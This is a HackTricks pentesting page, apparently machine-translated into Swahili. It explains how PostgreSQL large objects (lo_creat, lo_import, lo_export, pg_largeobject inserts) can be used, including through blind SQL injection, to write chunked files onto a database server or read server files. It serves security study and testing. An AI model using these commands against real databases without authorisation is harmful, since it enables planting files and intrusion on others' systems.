tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
PostgreSQL Large Objects
PostgreSQL inatoa muundo unaojulikana kama large objects, inayopatikana kupitia jedwali la pg_largeobject
, iliyoundwa kwa ajili ya kuhifadhi aina kubwa za data, kama picha au hati za PDF. Njia hii ina faida zaidi kuliko kazi ya COPY TO
kwani inaruhusu kuhamasisha data kurudi kwenye mfumo wa faili, kuhakikisha nakala halisi ya faili asili inahifadhiwa.
Ili kuhifadhi faili kamili ndani ya jedwali hili, kitu kinapaswa kuundwa katika jedwali la pg_largeobject
(kinachojulikana kwa LOID), ikifuatiwa na kuingiza vipande vya data, kila kimoja kikiwa na ukubwa wa 2KB, ndani ya kitu hiki. Ni muhimu kwamba vipande hivi viwe na ukubwa wa 2KB (ikiwa na uwezekano wa kutengwa kwa kipande cha mwisho) ili kuhakikisha kazi ya kuhamasisha inafanya kazi ipasavyo.
Ili kugawanya data yako ya binary katika vipande vya 2KB, amri zifuatazo zinaweza kutekelezwa:
split -b 2048 your_file # Creates 2KB sized files
Ili kuandika kila faili katika Base64 au Hex, amri zilizo hapa chini zinaweza kutumika:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Muhimu: Unapofanya mchakato huu kuwa wa kiotomatiki, hakikisha unatumia vipande vya 2KB vya bytes za maandiko safi. Faili zilizohifadhiwa kwa hex zitahitaji 4KB za data kwa kila kipande kutokana na kuongezeka kwa ukubwa, wakati faili zilizohifadhiwa kwa Base64 zinafuata formula ceil(n / 3) * 4
.
Maudhui ya vitu vikubwa yanaweza kuangaliwa kwa madhumuni ya urekebishaji kwa kutumia:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Kutumia lo_creat
& Base64
Ili kuhifadhi data za binary, LOID inaundwa kwanza:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
Katika hali zinazohitaji udhibiti sahihi, kama vile kutumia Blind SQL Injection, lo_create
inapendekezwa kwa ajili ya kubainisha LOID iliyowekwa.
Vipande vya data vinaweza kisha kuingizwa kama ifuatavyo:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Ili kuhamasisha na huenda kufuta kitu kikubwa baada ya matumizi:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Kutumia lo_import
& Hex
Kazi ya lo_import
inaweza kutumika kuunda na kubainisha LOID kwa kitu kikubwa:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Baada ya kuunda kitu, data inaingizwa kwa kila ukurasa, kuhakikisha kila kipande hakipita 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Ili kukamilisha mchakato, data inasafirishwa na kitu kikubwa kinafuta:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Mipaka
Imepangwa kwamba vitu vikubwa vinaweza kuwa na ACLs (Orodha za Udhibiti wa Ufikiaji), ambayo inaweza kuzuia ufikiaji hata kwa vitu vilivyoundwa na mtumiaji wako. Hata hivyo, vitu vya zamani vyenye ACLs za kuruhusu vinaweza bado kupatikana kwa ajili ya kuhamasisha maudhui.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.